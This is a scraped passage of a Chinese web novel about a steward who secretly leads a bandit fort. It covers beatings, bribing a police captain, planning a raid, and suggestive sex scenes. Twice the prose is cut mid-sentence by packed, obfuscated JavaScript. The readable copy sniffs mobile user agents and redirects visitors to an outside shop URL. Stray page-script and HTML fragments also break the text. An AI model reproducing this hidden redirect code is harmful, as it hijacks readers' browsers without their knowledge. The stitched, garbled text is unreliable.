这几天她正好在排卵期,想和李二狗多努力几次,也许上天眷顾,说不定能怀上个一男半女,也算了了自己一桩最大的心事。 “望冬,你和老三出去走走吧。” 面对李素文的好意,望冬却并不领情。 “素文姐,我还有很多衣服没洗呢。” 李素文说道:“我和你二狗哥有点私事,你等会回来再洗,快去吧。” 望冬不解风情地说道:“你和二狗哥去忙吧,我不打扰你们。” 李二狗心领神会,早就猜到李素文想做什么,便笑道:“望冬,我们怕打扰你。” 望冬看看李二狗,又看了看脸颊绯红的李素文,顿时明白过来,顿时面红耳赤。 她扔下衣服就跑了出去,陈老三见状,赶紧追了出去。 “我们进屋吧。” “你真讨厌!” 李二狗一把抱起李素文,她就像一只温顺的小猫紧紧贴在他身上。 “二狗,待会你轻一点对人家,这次我们主要是为了要个孩子。” 李二狗看着李素文绯红的脸颊,在她耳边轻声说道:“你和孩子的事,我一起办了!” 清风寨议事厅。 李二狗蒙着面坐在正中央,旁边坐着宋孬蛋,李二狗已经把情况告诉了宋孬蛋。 大厅站着两个刚刚回来的人,其中一个正是带头在胡家大院门口闹事的人。 “杨仁,杨义,你们下山干嘛去了?” “宋经理,我们家里有点事,回了趟家,我们可是按程序请假之后才下的山。” “没去别的地方吗?” “没有,没有。”杨仁,杨义几乎同时说道。 “你们没去李家堡村?” 杨仁,杨义几乎同时变脸,“扑通”一声跪在地上。 “宋经理,我们家里情况比较特殊,爹娘生病无钱医治,不得已才下山干了点营生,下次我们再也不敢了。” “营生?”宋孬蛋拍案而起,“李大民是怎么死的?他媳妇被谁欺凌了?你们又是受了谁的指使?快快从实招来。” 两人完全傻眼了,这么隐蔽的事情,宋孬蛋如何知晓的如此清晰? “宋经理,冤枉啊,我们只是收钱去站场子壮声势,人根本不是我们杀的!” “那是谁杀的?” “我们也不认识,是一个人通过老乡找到我们兄弟俩,说让我们帮他去做一件事,事成之后答应给我们十块大洋。” 宋孬蛋瞅了一眼李二狗,李二狗示意他继续问下去。 “让你们做什么事?” “一个人说他和胡家大院的管家李二狗有夺妻之恨,为了报复他,让我们冒充胡家大院的人去催租打人,然后鼓动村民去胡家大院闹事,目的就是让胡家大院开除李二狗,可没想到,他却直接打死了人,真的和我们兄弟无关啊。” “你们倒是把自己撇得挺干净,把我当傻子吗?村民去胡家大院闹事,难道不是你们两个鼓动的?” 两人更震惊了,他们实在想不明白,这些神不知鬼不觉的事,宋孬蛋到底是如何得知的。 “他杀了人之后,我们很害怕,本来不打算再和他有牵扯,可他答应再给我们十块大洋,让我们鼓动村民去胡家大院闹事。” “那个人现在哪里?” “我们不知道啊。” “杨仁,杨义,你们兄弟二人违反山寨寨规,目无组织纪律,侵害群众利益,按寨规得枪毙!” “宋经理,宋经理,我们知道错了,求求你饶我们这一次吧,我们爹娘只有我们两个儿子,他们还得指望我们给他们养老送终啊。” 杨仁,杨义跪在地上,响头磕个不停,很快额头就磕出了鲜血。 “如果你们能找到雇用你们的人,可以考虑从轻发落。” “好,好,宋经理,我们马上下山去找,一定把他带到山寨来。” “杨仁,杨义,你们给我听好了,你们家住哪里,家里有几口人,寨里都一清二楚,千万不要再做对不起山寨的事,否则别怪寨规无情。” “不敢不敢,我们马上去找。” 杨仁,杨义走后,陈嘎子来到议事厅。 “狗哥,他家里没人,我问了他邻居,说是从昨晚开始就没再见到他,我已经留下一个兄弟在那盯着,一有情况他会立马来报。” “好,辛苦了,嘎子兄弟,你先回去休息吧。” “狗哥,你觉得杨仁,杨义两兄弟能找到孙家旺吗?他肯定是躲起来了。” “一计不成,他肯定不会死心,即使我们不去找他,他也会自己跳出来,他不会消失的。” “狗哥,你这几天可得多加小心,千万别打狼不成反被狼伤。” “放心吧,孙家旺他不是狼,只是长了个狼样子。如果是狼,能让咱这么轻易地办了他?不识相的东西,老子饶他一条性命,他还没完没了了,早晚把自己作死。” 李二狗下了山,最近多事之秋,不回胡家大院他心里不踏实。 其实李二狗去孙家旺家的时候,正好被准备回家的孙家旺看见,吓得他赶紧躲了起来,他没想到李二狗会这么快找到他的住处。 孙家旺一路跟随,当他看到李二狗上了清风寨的时候,惊得下巴都掉了下来。 万万没有想到李二狗竟然和清风寨的土匪有勾结。 清风寨的土匪抢劫胡家大院,吓死胡老太太,作为管家的李二狗竟然和清风寨暗通款曲。 孙家旺从一开始的惊讶变为狂喜。 如果能坐实李二狗私通清风寨土匪的罪名,自己就可以凭借着这个功劳重返胡家大院,甚至坐上管家的位子。 他激动极了,他激动的想大喊、想大叫,想唱起歌来跳起舞,他已经抑制不住自己狂躁的内心。 在看到李二狗上了清风寨之后孙家旺立马下了山。 他本来想直接去县警察局报案,但感觉直接报案并不能体现自己在这件事情上对胡家大院的特殊贡献,应该让胡家大院的人对他感恩戴德才好。 他来到胡家大院门口,本想直接进入大院向众人揭露李二狗的真实面目,但想到李二狗在胡家大院根深蒂固,很可能会有不少马弁亲信,便一直潜伏在胡家大院附近等待时机。 孙家旺上次去于兰芝那里揭发李二狗,没想到于兰芝不仅不感谢自己,还和李二狗狼狈为奸,把自己赶出胡家大院,他怀疑于兰芝和李二狗很可能有一腿。 想来想去,他认定张玲玉才是最佳人选。 第172章 度日如年 在胡家大院,大家都知道张玲玉一直和于兰芝不对付,和李二狗也少有往来,曾数次想置李二狗于死地。 在整个胡家大院,除了张玲玉,再无第二人选。 孙家旺等啊等,他眼睁睁地看到李二狗进入胡家大院,看到太阳落进西山,看到月亮悄悄爬上枝头,可却始终没有等到张玲玉出现。 这也难怪,张玲玉此刻正在家中诵读经文、修身养性。 孙家旺急得上蹿下跳,他实在是等不了了! 突然,他想起在胡家大院西北角,有一个狗洞,虽然洞口有点小,但凭借自己短小瘦弱的身材,钻进去应该没有问题。 想到这,孙家旺顿时来了精神,他一溜烟跑到大院西北角。 果然在其中一个柴垛旁看到一个狗洞,洞口很不起眼,只有一尺见方。 也就是孙家旺,换作任何一个男人都爬不进去。 孙家旺先把头伸进去试了试,虽然自己已经很瘦很瘦,但狗洞还是显得有点狭窄。 他索性把身上的棉袄棉裤全部脱下来,只穿着一个白色小裤衩站立于月色之下。 春寒料峭,一阵凉风吹来,孙家旺忍不住打个寒颤。 凉风有信,春月无边,亏他立功的情绪好比度日如年。 不能再等了!他赶紧趴下身子钻进狗洞,费了好大力气终于爬进了胡家大院。 他站起身,拍拍身上的灰尘,才发现刚刚脱掉的棉袄棉裤没有拿进来,他又赶紧俯下身子费力地爬出去。 “汪,汪,汪……” 一只狼狗突然从后面窜出,死死咬住孙家旺的白色小裤衩,孙家旺一惊,赶紧往外爬,白色小裤衩顿时被狼狗撕咬掉半个。 爬出后,他紧张地摸了摸自己的屁股,竟然被锋利的狗牙划出了血。 “娘的,李二狗欺负我,你一条野狗也欺负我,老子早晚把你们两条狗都炖了下酒。” 孙家旺嘴上骂得厉害,却迟迟不敢再钻进狗洞。 他抱着棉袄棉裤站立于凉风中,风呼啸着吹拂过他半个屁股,火辣辣地疼。 孙家旺猫在狗洞旁,学了两声狗叫,并没有得到回应。 他这才小心翼翼地把棉袄棉裤从狗洞塞进去,然后俯下身子再次钻进狗洞,刚钻进半个身子,一抬头,正看到狼狗伸着舌头瞪着狗眼凝视着自己。 孙家旺吓得赶紧缩了回去,情急之中,身体被狗洞周围的棱角划得伤痕累累。 这次孙家旺只能双手抱臂,来回在地上跺脚,还是冻得直打哆嗦。 “狗啊狗,你到底啥时候睡觉啊,冻死老子了……” 孙家旺来来回回跺着脚,眼看着天边已经露出一线鱼肚白,他决定不能再等了。 大不了和狼狗拼个鱼死网破,咬死他! 孙家旺俯下身子,再次钻进狗洞,却并没有看见狼狗。 “娘的,害得老子冻了一个晚上。” 孙家旺嘴唇冻得发紫,牙齿咯咯直响,他哆哆嗦嗦捡起地上的棉袄棉裤赶紧穿在身上。 趁着天色未明,孙家旺悄然来到张玲玉院子门口,刚要敲门,想了想便住了手。 这时候敲门,张玲玉不仅不会开,还有可能把其他人引来。 他想到这个院子东侧有一棵大树,便跑到大树下,顺着大树爬进了院子。 张玲玉失宠之后,没有丫鬟,没有小厮,偌大的院子只住着她一个人,院子里堆满了树叶杂草,在早春的清晨显得格外寂寥。 孙家旺悄悄走到张玲玉卧室门口,轻轻敲了敲房门。 “谁?” 张玲玉吓得赶紧拿起一直放在枕头下面的剪刀。 “二奶奶,我是孙家旺。” “孙家旺?”张玲玉隐约有点印象,只记得是一个瘦骨嶙峋又尖嘴猴腮的家伙,“大清早的你来做什么?赶紧走,不然我喊人了!” 孙家旺连忙说道:“二奶奶,您千万别喊,我有重要事情向您汇报。” “你现在赶紧走,等天亮了再过来。” 大清早潜入自己的院中,张玲玉很怀疑他的动机。 她虽然缺少男人的滋润,但绝不会饥不择食! “二奶奶,您听我说,十万火急,不能再等了。” 张玲玉手中紧紧握住剪刀,说道:“有什么话你就在外边说吧。” “二奶奶,我发现一个特别重大的秘密,李二狗私通清风寨的土匪。” “你说什么?” 情急之下,张玲玉赤着脚穿着红色小肚兜打开房门。 孙家旺看呆了,口水顿时流了下来。 张玲玉见状赶紧捂住自己的胸口,“啪”的一声又关上房门。 等她穿好衣服,再次打开房门的时候,孙家旺眼珠子依然在放着绿光。 张玲玉忍住恶心,问道:“你刚才说的可是真的?” 孙家旺腆着脸说道:“二奶奶,千真万确,我亲眼看见李二狗上了清风寨。” 李二狗和清风寨的土匪私通,张玲玉并不感到意外,她意外的是孙家旺是怎么知道的! 之前清风寨抢劫胡家大院,吓死胡老太太,两家有着不共戴天之仇。 当初张玲玉为了报复胡士高,做了清风寨的内应,没想到清风寨事后反悔,不仅不给自己分赃,土匪头子还强奸了自己。 她早就恨透了清风寨的这群土匪! 要不是李二狗带人闯进山寨,杀了朱重九,救了自己,这时候自己恐怕还在清风寨做压寨夫人。 张玲玉想要稳住孙家旺,便俏声问道:“你刚才说你叫什么名字?” 孙家旺一脸谄媚之相。 “二奶奶,小的叫孙家旺。” “家旺啊,其实我早就注意到你了,不仅办事利索,人也挺机灵,比那个什么狗屁李二狗强得何止百倍!” 孙家旺被张玲玉一顿猛夸,顿时有些飘飘然。 “嘿嘿,谢谢二奶奶夸奖,小的以后愿意唯二奶奶马首是瞻,赴汤蹈火,在所不辞。” 张玲玉竟然伸出玉手拍了拍孙家旺的肩膀,以至于他的双腿都抖动起来。 “家旺,好好干,我看胡家大院管家这个位子早晚是你的。” 孙家旺“扑通”一声跪在地上,一把抱住张玲玉的大腿。 “谢二奶奶成全,以后我孙家旺就是您的一条狗,您指哪我咬哪。” 第173章 咎由自取 张玲玉强忍着恶心,说道:“家旺啊,你放心,我绝不会亏待你的,等我们揭露了李二狗的真实面目,到时候胡家大院管家这个位子非你莫属。” 孙家旺抱着张玲玉的大腿,头紧紧地贴在上面,就像一条发情的公狗。 张玲玉看着孙家旺的样子,差点呕吐到他头上。 “家旺啊,你先不要声张,等我想了对策,我们再一举拿下李二狗,天快亮了,你快回去吧。” “二奶奶,您可能还不知道吧?李二狗公报私仇,已经把我赶出胡家大院了,我这次是偷偷跑回来向您报告的。” 张玲玉灵机一动,说道:“家旺,那你就先留在我院里,千万别出门,被人发现我们可就很难解释清楚了。” 孙家旺喜出望外,没想到张玲玉会收留他。 “谢谢二奶奶,谢谢二奶奶,二奶奶放心,我一定不踏出这个院门半步。” “那就好,”张玲玉伸了伸有些被孙家旺抱麻的大腿,“你先起来吧,我去食堂给你弄点吃的,看你这浑身脏兮兮的,自己去烧个热水洗洗澡,好好睡一觉,养好精神我们才能扳倒李二狗!” 孙家旺一脸淫笑。 “嘿嘿,谢谢二奶奶。” “记住,千万不要出去!” 张玲玉急忙出了门,孙家旺转身来到张玲玉的卧室,看到她刚刚睡过的被窝,发出两声淫荡的笑声。 “二奶奶,你可真是太馋人了。” 说罢,便扑到张玲玉床上,像狗一样疯狂地在被子、床单、枕头上嗅来嗅去,表情极其猥琐。 张玲玉关好院门,快步来到李二狗院门口。 李二狗打开门,看到张玲玉,微微有些吃惊。 “二奶奶,这么早来找我,有什么事?” 张玲玉瞪了他一眼,没有说话,直接闪身走了进去。 “把门关上!” 李二狗心想,张玲玉如果是来求欢,应该是晚上来,肯定不会大清早过来,也便放心地关上了院门。 “二奶奶,到底发生什么事了?” “李二狗,你现在是不是还和清风寨有瓜葛?” 上次李二狗杀了朱重九剿灭清风寨,张玲玉都是亲身经历的。 “二奶奶,你何出此言?” “叫我玲玉!” “玲玉,你这大清早的到底是怎么了?和吃了火药似的!” 张玲玉的眼泪流了下来。 “李二狗,你这个无情无义的东西,你扪心自问,你有多长时间没去找我了?” 李二狗有些结结巴巴地说道:“我……实在是最近事情太多,没来得及过去。” “哼,事情太多?于兰芝那里你倒是去的殷勤,有事没事就往一个大肚婆那里跑,你说,她肚里的孩子是不是你的?” 张玲玉只是随口一个试探,李二狗却着实吓得不轻。 “玲玉,这种话可千万不能乱说,会害死人的!老爷临走之前特意嘱咐我多关照关照大奶奶,她现在有孕在身,不能出任何意外。” 张玲玉冷笑一声,质问道:“你的意思是她不能出任何意外?我就可以任意出意外是吗?” “玲玉,你听我说,我不是那个意思。” 张玲玉泪水像决了堤一般,哭得梨花带雨。 “二狗,你知道吗?自从上次你在清风寨舍命救了我,我的整颗心和我整个人就都是你的了,不管你要也好,不要也罢,往后余生,我的心里只有你,不可能再容得下别人了。” “玲玉,其实我……” “我知道,以前我做过一些对不起你的事,我还被土匪欺凌过,我不敢奢求你能接受我,只希望在夜深人静的时候,你能偶尔想起我,能来我院里陪我说说话,我也就知足了。” 李二狗一把抱住张玲玉,明知道她是一朵带刺的玫瑰,可哪怕被扎的遍体鳞伤,他还是忘不掉初见她时的惊艳,也许这就是他的宿命。 “玲玉,我们去床上说。” 李二狗刚要抱起张玲玉,她突然想到了此行的真正目的。 “二狗,被你这么一撩拨,我差点把正事忘了。” “到底什么事?” “你先告诉我,你是不是和清风寨还有什么瓜葛?” 李二狗心想,张玲玉肯定是听到了什么,所以才会跑来问自己。 “上次剿灭清风寨之后,我有几个兄弟留在了清风寨,我和他们时常会有些往来,你听到了什么?” “是孙家旺,他说你和清风寨的土匪有勾结。” 这个狗日的孙家旺,真是阴魂不散,哪哪都有他! “他现在哪里?” “你先别着急,今天一大早他爬进我院里,向我揭发你和清风寨的土匪有勾结,已经被我想办法留在院里了,你尽管放心,他不敢跑出来。” 李二狗亲吻了一下张玲玉的额头。 “玲玉,我先去办完正事再回来办你。” “你讨厌死啦!” 李二狗带着几个家丁赶到张玲玉院里时,孙家旺正唱着酸曲在浴桶里泡澡。 “想你想的吃不哈可饭,大火上来把口咬烂,半碗碗绿豆半碗碗米,端起个饭碗想起个你,青石板上栽葱扎不哈个根,玻璃上亲嘴急死个人。红豆角脚熬馒馒,咱俩好成个面然然,你脑上的虱子俄给你寻,晚上给你提个尿盆盆,哥哥俄走过来,妹妹你把怀改开……” “哐当”一声,房门被一脚踹开。 “孙家旺,你好大的胆子,竟敢对二奶奶有非分之想!” 孙家旺见是李二狗,顿时吓尿在浴桶里。 “李二狗你……” “先他这个不知死活的东西打个半死!” 李二狗转身的瞬间,身后传来孙家旺鬼哭狼嚎的声音。 李二狗命人把奄奄一息的孙家旺抬上马车,带着几个人去了李家堡村。 “李村长,我已经找到了杀人凶手,请李大民家嫂子来指认一下,看看是不是这个人。” 经过李大民媳妇指认,确定孙家旺就是打死李大民的凶手。 李二狗给了李大民家一百块大洋,李大民媳妇对李二狗千恩万谢。 “你们把孙家旺送到县警察局,记住,一定要交给孙队长。” “李管家,请放心。” 家丁赶着马车直奔县城。 第174章 法不外乎人情 李二狗来到清风寨。 杨仁、杨义下山找了整整一天,也没有找到孙家旺,现在已经回到清风寨听候发落。 李二狗对他们兄弟俩的态度还是非常满意。 清风寨议事厅。 大家对如何处理杨仁、杨义产生了争执。 陈老三率先发言。 “狗哥,我建议把杨仁、杨义这两个败类拉到后山毙了,杀鸡儆猴。” 陈嘎子、张石头听陈老三这样说,以为是李二狗的意见,便纷纷附和陈老三,只有宋孬蛋没有说话。 “孬蛋,你的意见呢?” “狗哥,我今天亲自下山去过杨仁、杨义的家,他们爹娘确实卧病在床,家庭生活十分拮据。这次他们犯错确实是事出有因,加上并没有犯下不可挽回的错误,我建议从轻发落,不能一杀了之,我怕这样会让兄弟们会寒心。” 李二狗向宋孬蛋投去一个赞许的目光。 “你们都跟着孬蛋好好学学,这才是当领导应该有的样子,寨规是死的,我们做领导的不能也是死的!” 陈老三有些不服气,分辩道:“狗哥,你说过,寨规面前一律平等,杨仁、杨义既然违反了寨规,就应该按寨规处罚。” 李二狗端起茶杯,轻轻抿了一口,想说服陈老三这个大老粗确实得多费一些口舌。 “法不容情,但法不外乎人情,我们不能让冰冷的寨规寒了众兄弟们的心。” 陈老三还想反驳,被宋孬蛋在桌下踢了一脚。 “孬蛋,你狗日的踢我干什么?” “三哥,先听狗哥把话说完嘛。” 陈老三看李二狗一脸严肃的样子便闭了嘴。 “杨仁、杨义爹娘生病,无钱医治才会导致他们做出违反寨规之事,我们做领导的有没有责任?是不是平时对他们关心的不够?难道每个月给他们发完饷钱就一切万事大吉了吗?” “如果我们平时多关心他们一点,随时了解他们的思想波动,他们还会犯下今天的错误吗?” “狗哥,你的意思是不处罚杨仁、杨义了?” 陈嘎子是一个没有主见的人,听完李二狗的话他有些懵了。 “违反寨规,当然要受处罚,这是原则性问题,但是我们一定要掌握一个合适的度。” 李二狗又端起茶杯,轻轻地抿了一口茶,他得给众人留出一定思考的时间,说的太多,怕他们一时半会消化不了。 “如果他们这次杀了人,就是有天大的理由,也不能饶恕。但这次他们并没有造成不可挽回的后果,而且认错态度良好,我认为我们应该从轻发落。” 陈老三说道:“狗哥,你这整得太复杂了,违反寨规还能分三六九等?这也太难了!” “你要是觉得难,你现在就可以退出寨务会,我可以给你安排一个看大门的活,那活轻松。” 陈老三脸上堆满了笑。 “狗哥,你看你,我就是随口一问,你怎么还生气了?嘿嘿,我都听你的还不行。” “天天以傻大憨粗为荣,那我们山寨以后能有什么大的发展?单打独斗逞英雄的时代已经一去不复返了,没有组织没有纪律注定走不长远!” 宋孬蛋赶紧出来打圆场。 “狗哥,你别生气,三哥他不是这个意思,他主要是觉得我们量刑的时候没有一个统一的标准,确实挺难把握的。” 陈老三急忙说道:“我就是孬蛋兄弟这个意思,你别生气啊,狗哥。” 李二狗又端起茶杯抿了一口茶,想把这些五大三粗的土匪改造成一支有战斗力的队伍确实非一日之功。 “这也是我接下来要说的,我们应该把违反寨规的情形提前做一个量刑标准,违反同一条寨规,视不同的后果给予不同的惩罚,既可以起到杀一儆百的效果,又能惩前毖后、治病救人。孬蛋,这项工作交给你来做,有没有困难?” 宋孬蛋一脸严肃地站起来,保证道:“狗哥,既然是你交给我的任务,就是有再大的困难也要上,我争取一个月之内拿出一个草案,到时候再上咱们寨务会研究。” “大家看看人家孬蛋这个觉悟,就是比你们高,你们得好好向人家学习,”李二狗越来越欣赏宋孬蛋,“孬蛋,如果有困难,你可以去省城找吴有德吴爷,我会让他安排人教你。” 一听到去省城,陈老三立马来了精神,说道:“我陪孬蛋兄弟一起去,彼此路上也好有个照应。” 李二狗笑骂道:“你他娘的一向是有便宜就占,有困难就躲,要不然我把这个任务交给你?” 吓得陈老三连连摆手。 大家一起哈哈笑了起来,紧张的气氛缓和下来。 李二狗清了清嗓子,继续说道:“我还有个建议,现在提出来大家一起讨论讨论,看看合不合适。” 众人赶忙拿出小本本,开始认真记录。 陈老三虽然不识字,也像模像样地拿出一支笔,态度决定一切。 “这次杨仁、杨义之所以违反寨规,主要原因是爹娘生病造成的家庭困难,这种情况只存在杨仁、杨义家里吗?其他兄弟家里有没有这种情况?你们作为领导的都知道吗?” 众人都低着头不说话,只听到笔尖触划纸张的声音。 “即使爹娘没有生病,那家里是不是还存在其他困难?有了困难他们会不会也和杨仁、杨义兄弟一样选择铤而走险?” 议事厅静得仿佛掉一根针都清晰可闻。 “当然我首先要做一下自我批评,我也不了解他们的家庭情况,这是我工作的失误。” 宋孬蛋急忙说道:“狗哥,这不能怪你,你平时人又不在山寨,山寨的人事财务由我负责,这是我的失职。” “孬蛋兄弟的态度非常好,我们不怕工作没做好,就怕明明工作没做好还推诿扯皮,找一堆理由来推卸责任,这种态度是万万要不得的。” 众人齐声附和,纷纷做起了自我批评。 李二狗一挥手,大家又安静下来。 “针对以上这种情况,我有三点建议。” 大家再次低头握笔,开始认真记录。 第175章 沈家大院 “第一点,把全山寨所有的兄弟,包括他们的个人信息、家庭住址、家庭成员的情况、家庭目前存在的困难全部登记造册,每人一册,不求面面俱到,但一定要真实。这项工作我建议由张石头牵头负责,我只有一个要求,不漏一人,应统尽统。” 张石头连忙保证道:“好的,狗哥,你放心,我一定保质保量地完成这项工作。” 清风寨有一半的兄弟都是在家破人亡之后才上山当的土匪,家中并没有父母和兄弟姐妹,所以这项工作执行起来并不复杂。 “第二点,以后山寨的兄弟,无论是谁,只要家里出现困难,我们山寨都要帮一帮,一定要让他们感受到我们山寨是一个温暖的大家庭,有困难大家一起扛!” 大家纷纷点头称是。 “第三点,我建议,立即成立清风寨困难救助办公室,专门负责对山寨出现困难的兄弟进行救助,同时也要做好困难救助申请的现场核实工作。先期由山寨拨付一千块大洋,专款专用,这项工作我建议由陈嘎子负责。” 陈嘎子立马站起来保证道:“狗哥,请放心,我一定看好咱们兄弟们的救命钱。” 李二狗笑了笑,继续说道:“大家都先别急着表态,这只是我个人的三点建议,还得咱们大家讨论表决之后再做决定。” 李二狗话音刚落,大家便纷纷表态。 “我同意!” “我也同意!” “我们大家都同意!” 李二狗刚刚安排了好几项工作,没有一项安排给陈老三负责,对此他一肚子意见,但嘴上却同样表示同意。 李二狗很满意大家的态度。 清风寨议事厅研究事情,可以先**后集中,也可以先集中后**,一切都取决于李二狗的态度。 “大家还有什么要汇报的工作吗?” 宋孬蛋说道:“狗哥,有个情况我觉得有必要在寨务会上研究研究。” 李二狗点点头,宋孬蛋接着说道:“从去年冬天一直到现在,几乎没有下过雨,我昨天到地里看了看,小麦蔫头耷脑,今明两年很可能会是灾年。” 宋孬蛋的话立即引起了李二狗的重视。 “孬蛋,你说的这个情况很重要,大家说说怎么办?” 陈老三每次总想抢先表现,但每次都说不到点子上,这次还是一样。 “这和咱们有什么关系?咱们又不种小麦。” “老三,你要不说话没人把你当哑巴。” 陈老三心里一百个不服气,明明是你让大家发表意见,我说了你又骂人! 陈嘎子、张石头同样也没有说出个子丑寅卯。 “孬蛋,你有什么建议?” “狗哥,我建议趁着现在小麦价格不高,我们应该提前囤上一批粮食,以备不时之需。” “你的这个建议很好,我同意,咱们多囤一些粮食,即使自己吃不了,还有兄弟们的家人,反正粮食一时半会也坏不了。” “可是狗哥,粮食要是买多了,储存是个大问题,咱们仓库空间有限,储存不了那么多粮食,总不能全部堆在露天吧?” “这个简单,多建几个粮囤就是了,反正咱们山寨有的是地方。” 李二狗看了一眼陈老三,说道:“老三,建粮囤的任务就交给你,一个月之内务必建出二十个粮囤。” 陈老三终于有了任务,他开心的像吃了蜜蜂屎一般。 “放心吧,狗哥,保证完成任务。” 李二狗想了想,对宋孬蛋说道:“孬蛋,你最近派人去周边几个市县看看是什么情况,是不是和咱们江东是一个情况。” “好的,狗哥。” “安排几个心思细腻的兄弟,我要准确情况,给你七天时间。” “放心吧,狗哥,保证完成任务。” 宋孬蛋说完低头翻了翻自己的小本本,继续说道:“狗哥,最近山寨一直是入不敷出,虽然一时半会还觉不出什么,但长此以往,我怕咱们会坐吃山空。” 宋孬蛋提出的问题正好也是李二狗最近一直在思考的问题。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“傻雏!自从上次胡家大院被抢之后,整个江东县的地主大院都加强了守卫,现在哪个大院没有十几个人十几杆枪?如果我们冒然去抢,不仅抢不到大洋,还很可能让兄弟们白白丢了性命。” “那就再找个内应,咱们来个里应外合!” “你去找吧,找到回来告诉大家一声。” 第176章 民团轮训 陈老三嘿嘿一笑,说道:“狗哥真会说笑,沈家大院我又没有认识的人,嘿嘿,你净逗我。” 李二狗继续说道:“凤凰镇民团队长张大发是个厉害角色,手底下有四十多号人,弄不好我们都得折在里面。” 陈老三不出声了,他在胡家大院训练民团的时候专门去凤凰镇学习过,见识过凤凰镇民团的厉害。 “大家先提前做好下山的准备,至于怎么抢,我再想一想,今天就到这吧,散会!” 刚出议事厅大门,望冬正站在门口。 “望冬,你是在等我吗?” 陈老三见到望冬,乐得鼻涕冒泡。 望冬白了他一眼,看向李二狗,说道:“狗哥,素文姐让你过去一趟。” 李二狗知道,**最近要孩子要的有些魔怔,抓住一切机会去实现自己的造人计划。 宋孬蛋等人都笑着走开了。 “望冬,狗哥回去找素文姐,咱们一起去后山悬崖看风景吧?” 望冬知道**叫李二狗回去干什么,此时她回去并不方便,但她也不想和陈老三一起看风景。 “谁要和你一起看风景,别跟着我。” “望冬,你听我说……” 李二狗回到家,**正坐在门前的一把椅子上。 “到山寨竟然不先回来看我,是不是我不让望冬去叫你,你就偷偷下山了?” “怎么会呢?”李二狗走到**面前,俯身亲吻了她柔软的嘴唇,“我这不是想办完公事再回来全心全意伺候你吗?嘿嘿。” “油嘴滑舌,”**掐了李二狗一下,“我给你说,女人每个月只有这几天容易受孕,你不许偷懒,听见没?” “不偷懒,不偷懒,我一定殚精竭虑、毫不保留。” 李二狗抱起**就进了屋。 “二狗,待会别只顾着自己享受,多用点上次我教你的姿势,那个姿势更容易受孕。” “少听那些老中医忽悠,哥就是老中医。” “你讨厌……” 两人顿时滚作一团,那场面,只能用一个词来形容,活色生香。 忙活完**的事,李二狗没有回胡家大院,直接去了江东县城。 “二狗兄弟,你怎么来了?” 孙竹刚开门见是李二狗,笑的脸上的囊褶子都平整了许多。 李二狗笑道:“大哥,听你这话的意思的不希望兄弟来啊,那我回去了。” 孙竹刚忙拉住李二狗的胳膊,笑道:“来了还想走,哪有那么便宜的事?你嫂子天天念叨你什么时候来,我耳朵都快起茧子了。” 严婆惜听到声音,急忙从屋里走出来。 “是二狗兄弟来了吗?哎呀,二狗兄弟,你可有些日子没来了,快进屋。” 严婆惜热情地把李二狗拉进屋里。 李二狗把刚买的两件真丝旗袍放在桌上,说道:“嫂子,我去省城出差,看到这两身旗袍特别适合你的气质,就比量着你的身材买了两套,你看看合不合身?” 严婆惜拿出旗袍,一边放在身上比量一边说道:“哎呀,二狗兄弟可真是我亲兄弟啊,去省城还想着你嫂子。看这布料,看这裁剪,二狗兄弟可真是有眼光。” 孙竹刚说道:“二狗兄弟可不就是咱亲兄弟吗?好了,先别臭美了,快去给二狗兄弟包饺子吃。” 严婆惜对旗袍简直是爱不释手,她抚摸了又抚摸,恨不得立马穿上给李二狗看。 “哪是我眼光好啊,是嫂子的身材穿什么都好看。” “你看看人家二狗兄弟,说话就是讨人喜欢,嘻嘻。” 严婆惜把旗袍收起来,对李二狗说道:“二狗兄弟,你先喝茶,我去给你包饺子吃。” “谢谢嫂子,让你受累了。” “受什么累啊,二狗兄弟才受累呢,等着啊,一会就好。” “别忘了给二狗兄弟包海鲜馅的。”孙竹刚嘱咐道。 严婆惜白了他一眼,说道:“这还用你说,我还能不了解二狗兄弟的口味吗?” 严婆惜去了厨房包饺子,李二狗和孙竹刚在客厅喝茶。 “二狗兄弟,还没有机会当面谢谢你,上次你又派人给我送来一个**犯,帮助哥哥顺利完成本月的命案侦破指标。”<b ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822444|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' r>“大哥和兄弟还这么客气?这不是我应该做的吗?” 李二狗从兜里掏出一根金条放在桌上。 “兄弟,你这是什么意思?咱们兄弟之间用不着这个。” 孙竹刚嘴上拒绝,眼睛却始终没离开桌上的金条。 “大哥,你千万别和兄弟客气,你是吃公家饭的,收入有限,我理应多帮衬你一些,也好让嫂子和侄子过得宽裕些不是?” “还得是我二狗兄弟啊,什么事都想着哥哥,那我就多谢兄弟了,哈哈。” 孙竹刚赶紧把桌上的金条收起来,放进兜里,他害怕被严婆惜没收。 “大哥,有件事我想请你帮个忙,你放心,事成之后兄弟我一定还有重谢。” 孙竹刚说道:“兄弟的事就是我的事,说什么谢不谢的!说吧,什么事?” “大哥,凤凰镇民团队长张大发你认识吗?” “张大发?见过两次面,怎么了?他欺负你了?要是这样我揍他个小舅子。” “这倒没有,我想着这两天你能不能想想办法让他带着民团离开凤凰镇几天。” 孙竹刚在思索着李二狗的真实目的和办这件事的难易程度。 “二狗兄弟,这件事有点不好办,镇里民团和我们警察局也没有什么直接隶属关系,我也不好调动他们不是?” 李二狗笑道:“我倒是给大哥想到一个好主意,大哥先听听合不合适?” “什么主意?但说无妨!” “我建议县警察局组织一个对全县民团的轮训,帮助他们提升战斗力,我想上级一定会同意这个建议,可以先从凤凰镇民团开始。” 孙竹刚一听,拍案叫绝,这绝对是一个绝佳的主意。 帮助地方民团这群乌合之众提升战斗力,不仅可以得到上级领导的表扬,地方民团也会积极响应,自己还能趁机捞一笔。 “兄弟放心,明天一早我就去和牛局长提,他肯定同意。” 